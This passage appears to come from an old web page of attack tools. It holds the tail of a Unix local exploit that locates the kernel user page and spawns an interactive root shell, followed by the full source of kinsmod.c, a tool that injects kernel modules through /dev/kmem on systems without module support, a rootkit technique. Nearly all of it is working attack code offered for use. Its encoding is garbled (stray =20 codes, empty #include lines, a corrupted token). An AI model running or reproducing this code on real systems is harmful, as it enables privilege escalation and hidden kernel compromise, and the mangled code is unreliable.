((char = *)&userpage)); execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp); } # include <filehdr.h> # include <syms.h> # include <ldfcn.h> # define LNULL ( (LDFILE *)0 ) long address () { LDFILE *object; SYMENT symbol; long idx; object = ldopen( "/unix", LNULL ); if( object == LNULL ) { fprintf( stderr, "Could not open /unix.\n" ); exit( 50 ); } for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; = idx++ ) { if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) { fprintf( stdout, "user page is at: 0x%8.8x\n", = symbol.n_value ); ldclose( object ); return( symbol.n_value ); } } fprintf( stderr, "Could not read symbols in /unix.\n"); exit( 60 ); }

      Module insertion without native = support

      NAME :=20 kinsmod.c
      AUTHOR : Silvio = Cesare
      DESCRIPTION : This is a very nice program which = allows us=20 to insert LKMs on system with no native module support.
      LINK : = found=20 it by a search on http://www.antisearch.com/
      /**********needed include file*/ #ifndef KMEM_H #define KMEM_H #include #include #include /* these functions are anologous to standard file routines. */ #define kopen(mode) open("/dev/kmem", (mode)) #define kclose(kd) close((kd)) ssize_t kread(int kd, int pos, void *buf, size_t size); ssize_t kwrite(int kd, int pos, void *buf, size_t size); /* ksyms initialization and cleanup */ int ksyms_init(const char *map); void ksyms_cleanup(void); /* print the ksym table */ void ksyms_print(void); /* return the ksym of name 'name' or NULL if no symbol exists */ struct kernel_sym *ksyms_find(const char *name); #endif /**********KMEM functions*/ #include #include #include #include #include #include #include #include #include #include "kmem.h" struct ksymlist { struct ksymlist* next; struct kernel_sym ksym; }; struct ksymlisthead { struct ksymlist* next; }; /* the hash size must be an integral power of two */ #define KSYM_HASH_SIZE 512 struct ksymlisthead ksymhash[KSYM_HASH_SIZE]; /* these functions are anologous to standard file routines. */ ssize_t kread(int kd, int pos, void *buf, size_t size) { int retval; retval = lseek(kd, pos, SEEK_SET); if (retval != pos) return retval; return read(kd, buf, size); } ssize_t kwrite(int kd, int pos, void *buf, size_t size) { int retval; retval = lseek(kd, pos, SEEK_SET); if (retval != pos) return retval; return write(kd, buf, size); } void ksyms_print(void) { int i; for (i = 0; i < KSYM_HASH_SIZE; i++) { struct ksymlist *head = (struct ksymlist *)&ksymhash[i]; struct ksymlist *current = ksymhash[i].next; while (current != head) { printf( "name: %s addr: %lx\n", current->ksym.name, current->ksym.value ); current = current->next; } } } void ksyms_cleanup(void) { int i; for (i = 0; i < KSYM_HASH_SIZE; i++) { struct ksymlist *head = (struct ksymlist *)&ksymhash[i]; struct ksymlist *current = head->next; while (current != head) { struct ksymlist *next = current->next; free(current); current = next; } } } int hash(const char *name) { unsigned long h; const char *p; for (h = 0, p = name; *p; h += (unsigned char)*p, p++); return h & (KSYM_HASH_SIZE - 1); } int ksyminsert(struct kernel_sym *ksym) { struct ksymlist *node; struct ksymlisthead *head; node = (struct ksymlist *)malloc(sizeof(struct ksymlist)); if (node == NULL) return -1; head = &ksymhash[hash(ksym->name)]; memcpy(&node->ksym, ksym, sizeof(*ksym)); node->next = (struct ksymlist *)head->next; head->next = node; return 0; } int ksyms_init(const char *map) { char s[512]; FILE *f; int i; for (i = 0; i < KSYM_HASH_SIZE; i++) ksymhash[i].next = (struct ksymlist *)&ksymhash[i]; f = fopen(map, "r"); if (f == NULL) return -1; while (fgets(s, sizeof(s), f) != NULL) { struct kernel_sym ksym; char *n, *p; ksym.value = strtoul(s, &n, 16); if (n == s || *n == 0) goto error; p = n; while (*p && isspace(*p)) ++p; if (*p == 0 || p[1] == 0 || p[2] == 0) goto error; p += 2; n = p; while (*p && !isspace(*p)) ++p; if (*p) *p = 0; strncpy(ksym.name, n, 60); if (ksyminsert(&ksym) < 0) goto error; } fclose(f); return 0; error: fclose(f); ksyms_cleanup(); printf("--> %s\n", s); return -1; } struct kernel_sym *ksyms_find(const char *name) { struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)]; struct ksymlist *current = head->next; while (current != head) { if (!strncmp(current->ksym.name, name, 60)) return ¤t->ksym; current = current->next; } return NULL; } /**********MAIN PROGRAM : kinsmod.c*/ #include #include #include #include #include #include #include #include "kmem.h" static char system_map[] = "System.kmap"; static int error = 0; static int run = 0; static int force = 0; struct _module { Elf32_Ehdr ehdr; Elf32_Shdr* shdr; unsigned long maddr; int maxlen; int len; int strtabidx; char** section; }; Elf32_Sym *local_sym_find( Elf32_Sym *symtab, int n, char *strtab, const char *name ) { int i; for (i = 0; i < n; i++) { if (!strcmp(&strtab[symtab[i].st_name], name)) return &symtab[i]; } return NULL; } Elf32_Sym *localall_sym_find(struct _module *module, const char *name) { char *strtab = module->section[module->strtabidx]; int i; for (i = 0; i < module->ehdr.e_shnum; i++) { Elf32_Shdr *shdr = &module->shdr[i]; if (shdr->sh_type == SHT_SYMTAB) { Elf32_Sym *sym; sym = local_sym_find( (Elf32_Sym *)module->section[i], shdr->sh_size/sizeof(Elf32_Sym), strtab, name ); if (sym != NULL) return sym; } } return NULL; } void check_module(struct _module *module, int fd) { Elf32_Ehdr *ehdr = &module->ehdr; if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) { perror("read"); exit(1); } /* ELF checks */ if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) { fprintf(stderr, "File not ELF\n"); exit(1); } if (ehdr->e_type != ET_REL) { fprintf(stderr, "ELF type not ET_REL\n"); exit(1); } if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) { fprintf(stderr, "ELF machine type not EM_386 or EM_486\n"); exit(1); } if (ehdr->e_version != EV_CURRENT) { fprintf(stderr, "ELF version not current\n"); exit(1); } } void load_section(char **p, int fd, Elf32_Shdr *shdr) { if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) { perror("lseek"); exit(1); } *p = (char *)malloc(shdr->sh_size); if (*p == NULL) { perror("malloc"); exit(1); } if (read(fd, *p, shdr->sh_size) != shdr->sh_size) { perror("read"); exit(1); } } void load_module(struct _module *module, int fd) { Elf32_Ehdr *ehdr; Elf32_Shdr *shdr; char **sectionp; int slen; int i; check_module(module, fd); ehdr = &module->ehdr; slen = sizeof(Elf32_Shdr)*ehdr->e_shnum; module->shdr = (Elf32_Shdr *)malloc(slen); if (module->shdr == NULL) { perror("malloc"); exit(1); } module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum); if (module->section == NULL) { perror("malloc"); exit(1); } if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) { perror("lseek"); exit(1); } if (read(fd, module->shdr, slen) != slen) { perror("read"); exit(1); } for ( i = 0, sectionp = module->section, shdr = module->shdr; i < ehdr->e_shnum; i++, sectionp++ ) { switch (shdr->sh_type) { case SHT_NULL: case SHT_NOTE: case SHT_NOBITS: break; case SHT_STRTAB: load_section(sectionp, fd, shdr); if (i != ehdr->e_shstrndx) module->strtabidx = i; break; case SHT_SYMTAB: case SHT_PROGBITS: case SHT_REL: load_section(sectionp, fd, shdr); break; default: fprintf( stderr, "No handler for section (type): %i\n", shdr->sh_type ); exit(1); } ++shdr; } } void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr) { Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link]; Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)]; Elf32_Addr addr; Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info]; Elf32_Addr dot = targshdr->sh_addr + rel->r_offset; Elf32_Addr *loc = (Elf32_Addr *)( module->section[shdr->sh_info] + rel->r_offset ); char *name = &module->section[module->strtabidx][sym->st_name]; if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) { struct kernel_sym *ksym; if (force) { char novname[60]; int len; len = strlen(name); if (len > 10 && !strncmp(name + len - 10, "_R", 2)) { strncpy(novname, name, len - 10); novname[len - 10] = 0; ksym = ksyms_find(novname); } else ksym = ksyms_find(name); } else ksym = ksyms_find(name); if (ksym != NULL) { addr = ksym->value; #ifdef DEBUG printf( "Extern symbol is (%s:%lx)\n", ksym->name, (unsigned long)addr ); #endif goto next; } if ( sym->st_shndx == 0 || sym->st_shndx > module->ehdr.e_shnum ) { fprintf( stderr, "ERROR: undefined symbol (%s)\n", name ); ++error; return; }=20 } addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr; #ifdef DEBUG printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr); #endif next: if (targshdr->sh_type == SHT_SYMTAB) return; if (targshdr->sh_type != SHT_PROGBITS) { fprintf( stderr, "Rel not PROGBITS or SYMTAB (type: %i)\n", targshdr->sh_type ); exit(1); } switch (ELF32_R_TYPE(rel->r_info)) { case R_386_NONE: break; case R_386_PLT32: case R_386_PC32: *loc -= dot; /* *loc += addr - dot */ case R_386_32: *loc += addr; break; default: fprintf( stderr, "No handler for Relocation (type): %i", ELF32_R_TYPE(rel->r_info) ); exit(1); } } void relocate_module(struct _module *module) { int i; for (i = 0; i < module->ehdr.e_shnum; i++) { if (module->shdr[i].sh_type == SHT_REL) { int j; Elf32_Rel *relp = (Elf32_Rel *)module->section[i]; for ( j = 0; j < module->shdr[i].sh_size/sizeof(Elf32_Rel); j++ ) { relocate( module, relp, &module->shdr[i] ); ++relp; } } } } void print_symaddr(struct _module *module, const char *symbol) { Elf32_Sym *sym; sym = localall_sym_find(module, symbol); if (sym == NULL) { fprintf(stderr, "No symbol (%s)\n", symbol); ++error; return; } printf( "%s: 0x%lx\n", symbol, (unsigned long)module->shdr[sym->st_shndx].sh_addr + sym->st_value ); } void init_module(struct _module *module, unsigned long maddr) { int i; unsigned long len = 0; module->maddr = maddr; for (i = 0; i < module->ehdr.e_shnum; i++) { if (module->shdr[i].sh_type != SHT_PROGBITS) continue; module->shdr[i].sh_addr = len + maddr; len += module->shdr[i].sh_size; } module->len = len; if (module->maxlen > 0 && module->len > module->maxlen) { fprintf( stderr, "Module too large: (modsz: %i)\n", module->len ); exit(1); } printf("Module length: %i\n", module->len); =09 relocate_module(module); print_symaddr(module, "init_module"); print_symaddr(module, "cleanup_module"); } void do_module(struct _module *module, int fd) { int kd; int i; #ifdef DEBUG for (i = 0; i < module->ehdr.e_shnum; i++) { if (module->shdr[i].sh_type != SHT_PROGBITS) continue; if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) { perror("lseek"); exit(1); } if ( write( fd, module->section[i], module->shdr[i].sh_size ) != module->shdr[i].sh_size ) { perror("write"); exit(1); } } #else kd = open("/dev/kmem", O_RDWR); if (kd < 0) { perror("open"); exit(1); } if (lseek(kd, module->maddr, SEEK_SET) < 0) { perror("lseek"); exit(1); } for (i = 0; i < module->ehdr.e_shnum; i++) { if (module->shdr[i].sh_type != SHT_PROGBITS) continue; if ( write( kd, module->section[i], module->shdr[i].sh_size ) != module->shdr[i].sh_size ) { perror("write"); exit(1); }=20 } close(kd); #endif } int main(int argc, char *argv[]) { char *map = system_map; struct _module module; int fd; int ch; int retval = 0; while ((ch = getopt(argc, argv, "m:tf")) != EOF) { switch (ch) { case 'm': map = optarg; break; case 't': ++run; break; case 'f': ++force; break; } } /* so we can move options in and out without changing the codes idea of what argv and argc look like. */ --optind; argv += optind; argc -= optind; if (argc != 3 && argc != 4) { fprintf( stderr, "usage: k module [-t] [-m map] maddr(hex) [maxlen]\n" ); exit(1); } #ifdef DEBUG fd = open(argv[1], O_RDWR); #else fd = open(argv[1], O_RDONLY); #endif if (fd < 0) { perror("open"); exit(1); } if (ksyms_init(map) < 0) { perror("ksyms_init"); exit(1); } module.maxlen = (argc == 4 ? atoi(argv[3]) : -1); load_module(&module, fd); init_module(&module, strtoul(argv[2], NULL, 16)); if (run == 0) { if (error == 0) { do_module(&module, fd); } else { fprintf( stderr, "FAILED: (%i) errors. Exiting...\n", error ); ++retval; } } =20 ksyms_cleanup(); exit(retval); }
      Valid HTML 4.01! Valid CSS!